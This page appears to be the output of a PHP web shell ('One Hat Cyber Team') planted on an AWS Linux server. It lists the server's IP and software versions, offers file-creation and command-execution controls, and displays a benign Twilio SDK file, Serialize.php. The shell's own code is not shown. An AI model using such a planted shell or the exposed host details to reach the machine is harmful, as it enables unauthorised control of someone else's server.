⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.5
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
twilio
/
sdk
/
src
/
Twilio
/
View File Name :
Serialize.php
<?php namespace Twilio; class Serialize { private static function flatten(array $map, array $result = [], array $previous = []): array { foreach ($map as $key => $value) { if (\is_array($value)) { $result = self::flatten($value, $result, \array_merge($previous, [$key])); } else { $result[\implode('.', \array_merge($previous, [$key]))] = $value; } } return $result; } public static function prefixedCollapsibleMap($map, string $prefix): array { if ($map === null || $map === Values::NONE) { return []; } $flattened = self::flatten($map); $result = []; foreach ($flattened as $key => $value) { $result[$prefix . '.' . $key] = $value; } return $result; } public static function iso8601Date($dateTime): string { if ($dateTime === null || $dateTime === Values::NONE) { return Values::NONE; } if (\is_string($dateTime)) { return $dateTime; } $utcDate = clone $dateTime; $utcDate->setTimezone(new \DateTimeZone('UTC')); return $utcDate->format('Y-m-d'); } public static function iso8601DateTime($dateTime): string { if ($dateTime === null || $dateTime === Values::NONE) { return Values::NONE; } if (\is_string($dateTime)) { return $dateTime; } $utcDate = clone $dateTime; $utcDate->setTimezone(new \DateTimeZone('UTC')); return $utcDate->format('Y-m-d\TH:i:s\Z'); } public static function booleanToString($boolOrStr) { if ($boolOrStr === null || \is_string($boolOrStr)) { return $boolOrStr; } return $boolOrStr ? 'True' : 'False'; } public static function jsonObject($object) { if (\is_array($object)) { return \json_encode($object); } return $object; } public static function map($values, $map_func) { if (!\is_array($values)) { return $values; } return \array_map($map_func, $values); } }